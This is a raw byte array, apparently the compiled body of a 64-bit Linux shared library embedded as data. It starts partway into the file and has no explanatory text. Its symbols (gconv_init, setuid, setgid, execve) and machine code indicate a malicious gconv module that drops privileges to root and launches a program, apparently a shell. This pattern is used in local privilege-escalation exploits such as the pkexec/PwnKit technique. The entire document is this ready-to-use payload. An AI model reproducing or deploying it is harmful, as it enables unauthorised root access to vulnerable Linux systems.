1, 0, 0, 0, 4, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0,
0, 32, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0,
248, 0, 0, 0, 0, 0, 0, 0, 248, 0, 0, 0, 0, 0, 0, 0,
0, 16, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 6, 0, 0, 0,
16, 46, 0, 0, 0, 0, 0, 0, 16, 62, 0, 0, 0, 0, 0, 0,
16, 62, 0, 0, 0, 0, 0, 0, 48, 2, 0, 0, 0, 0, 0, 0,
56, 2, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0,
2, 0, 0, 0, 6, 0, 0, 0, 32, 46, 0, 0, 0, 0, 0, 0,
32, 62, 0, 0, 0, 0, 0, 0, 32, 62, 0, 0, 0, 0, 0, 0,
192, 1, 0, 0, 0, 0, 0, 0, 192, 1, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 4, 0, 0, 0,
168, 2, 0, 0, 0, 0, 0, 0, 168, 2, 0, 0, 0, 0, 0, 0,
168, 2, 0, 0, 0, 0, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0,
48, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 4, 0, 0, 0, 216, 2, 0, 0, 0, 0, 0, 0,
216, 2, 0, 0, 0, 0, 0, 0, 216, 2, 0, 0, 0, 0, 0, 0,
36, 0, 0, 0, 0, 0, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 0, 0, 0, 0, 83, 229, 116, 100, 4, 0, 0, 0,
168, 2, 0, 0, 0, 0, 0, 0, 168, 2, 0, 0, 0, 0, 0, 0,
168, 2, 0, 0, 0, 0, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0,
48, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
80, 229, 116, 100, 4, 0, 0, 0, 84, 32, 0, 0, 0, 0, 0, 0,
84, 32, 0, 0, 0, 0, 0, 0, 84, 32, 0, 0, 0, 0, 0, 0,
36, 0, 0, 0, 0, 0, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 0, 0, 0, 0, 81, 229, 116, 100, 6, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
82, 229, 116, 100, 4, 0, 0, 0, 16, 46, 0, 0, 0, 0, 0, 0,
16, 62, 0, 0, 0, 0, 0, 0, 16, 62, 0, 0, 0, 0, 0, 0,
240, 1, 0, 0, 0, 0, 0, 0, 240, 1, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 32, 0, 0, 0,
5, 0, 0, 0, 71, 78, 85, 0, 1, 0, 1, 192, 4, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0, 2, 0, 1, 192, 4, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 20, 0, 0, 0,
3, 0, 0, 0, 71, 78, 85, 0, 9, 243, 197, 73, 199, 224, 246, 249,
247, 102, 85, 23, 255, 81, 180, 106, 24, 48, 219, 15, 0, 0, 0, 0,
2, 0, 0, 0, 9, 0, 0, 0, 1, 0, 0, 0, 6, 0, 0, 0,
0, 0, 0, 16, 4, 0, 34, 0, 9, 0, 0, 0, 10, 0, 0, 0,
99, 12, 127, 15, 53, 167, 82, 128, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
16, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 116, 0, 0, 0, 18, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 109, 0, 0, 0, 18, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
123, 0, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 44, 0, 0, 0, 32, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
102, 0, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 70, 0, 0, 0, 34, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
85, 0, 0, 0, 18, 0, 12, 0, 57, 17, 0, 0, 0, 0, 0, 0,
7, 0, 0, 0, 0, 0, 0, 0, 91, 0, 0, 0, 18, 0, 12, 0,
64, 17, 0, 0, 0, 0, 0, 0, 118, 0, 0, 0, 0, 0, 0, 0,
0, 95, 95, 103, 109, 111, 110, 95, 115, 116, 97, 114, 116, 95, 95, 0,
95, 73, 84, 77, 95, 100, 101, 114, 101, 103, 105, 115, 116, 101, 114, 84,
77, 67, 108, 111, 110, 101, 84, 97, 98, 108, 101, 0, 95, 73, 84, 77,
95, 114, 101, 103, 105, 115, 116, 101, 114, 84, 77, 67, 108, 111, 110, 101,
84, 97, 98, 108, 101, 0, 95, 95, 99, 120, 97, 95, 102, 105, 110, 97,
108, 105, 122, 101, 0, 103, 99, 111, 110, 118, 0, 103, 99, 111, 110, 118,
95, 105, 110, 105, 116, 0, 115, 101, 116, 117, 105, 100, 0, 115, 101, 116,
103, 105, 100, 0, 101, 120, 101, 99, 118, 101, 0, 101, 120, 105, 116, 0,
108, 105, 98, 99, 46, 115, 111, 46, 54, 0, 71, 76, 73, 66, 67, 95,
50, 46, 50, 46, 53, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0,
2, 0, 0, 0, 2, 0, 2, 0, 1, 0, 1, 0, 0, 0, 0, 0,
1, 0, 1, 0, 128, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
117, 26, 105, 9, 0, 0, 2, 0, 138, 0, 0, 0, 0, 0, 0, 0,
16, 62, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
48, 17, 0, 0, 0, 0, 0, 0, 24, 62, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 224, 16, 0, 0, 0, 0, 0, 0,
56, 64, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
56, 64, 0, 0, 0, 0, 0, 0, 224, 63, 0, 0, 0, 0, 0, 0,
6, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
232, 63, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 3, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 240, 63, 0, 0, 0, 0, 0, 0,
6, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
248, 63, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 8, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 24, 64, 0, 0, 0, 0, 0, 0,
7, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
32, 64, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 4, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 40, 64, 0, 0, 0, 0, 0, 0,
7, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
48, 64, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 7, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
243, 15, 30, 250, 72, 131, 236, 8, 72, 139, 5, 217, 47, 0, 0, 72,
133, 192, 116, 2, 255, 208, 72, 131, 196, 8, 195, 0, 0, 0, 0, 0,
255, 53, 226, 47, 0, 0, 255, 37, 228, 47, 0, 0, 15, 31, 64, 0,
255, 37, 226, 47, 0, 0, 104, 0, 0, 0, 0, 233, 224, 255, 255, 255,
255, 37, 218, 47, 0, 0, 104, 1, 0, 0, 0, 233, 208, 255, 255, 255,
255, 37, 210, 47, 0, 0, 104, 2, 0, 0, 0, 233, 192, 255, 255, 255,
255, 37, 202, 47, 0, 0, 104, 3, 0, 0, 0, 233, 176, 255, 255, 255,
72, 141, 61, 201, 47, 0, 0, 72, 141, 5, 194, 47, 0, 0, 72, 57,
248, 116, 21, 72, 139, 5, 86, 47, 0, 0, 72, 133, 192, 116, 9, 255,
224, 15, 31, 128, 0, 0, 0, 0, 195, 15, 31, 128, 0, 0, 0, 0,
72, 141, 61, 153, 47, 0, 0, 72, 141, 53, 146, 47, 0, 0, 72, 41,
254, 72, 137, 240, 72, 193, 238, 63, 72, 193, 248, 3, 72, 1, 198, 72,
209, 254, 116, 20, 72, 139, 5, 37, 47, 0, 0, 72, 133, 192, 116, 8,
255, 224, 102, 15, 31, 68, 0, 0, 195, 15, 31, 128, 0, 0, 0, 0,
243, 15, 30, 250, 128, 61, 85, 47, 0, 0, 0, 117, 51, 85, 72, 131,
61, 2, 47, 0, 0, 0, 72, 137, 229, 116, 13, 72, 139, 61, 54, 47,
0, 0, 255, 21, 240, 46, 0, 0, 232, 99, 255, 255, 255, 198, 5, 44,
47, 0, 0, 1, 93, 195, 102, 46, 15, 31, 132, 0, 0, 0, 0, 0,
195, 102, 102, 46, 15, 31, 132, 0, 0, 0, 0, 0, 15, 31, 64, 0,
243, 15, 30, 250, 233, 103, 255, 255, 255, 85, 72, 137, 229, 144, 93, 195,
85, 72, 137, 229, 72, 131, 236, 64, 72, 137, 125, 200, 100, 72, 139, 4,
37, 40, 0, 0, 0, 72, 137, 69, 248, 49, 192, 72, 141, 5, 158, 14,
0, 0, 72, 137, 69, 208, 72, 199, 69, 216, 0, 0, 0, 0, 72, 141,
5, 147, 14, 0, 0, 72, 137, 69, 224, 72, 199, 69, 232, 0, 0, 0,
0, 191, 0, 0, 0, 0, 232, 213, 254, 255, 255, 191, 0, 0, 0, 0,
232, 171, 254, 255, 255, 72, 139, 69, 208, 72, 141, 85, 224, 72, 141, 77,
208, 72, 137, 206, 72, 137, 199, 232, 132, 254, 255, 255, 191, 0, 0, 0,
0, 232, 154, 254, 255, 255, 0, 0, 243, 15, 30, 250, 72, 131, 236, 8,
72, 131, 196, 8, 195, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
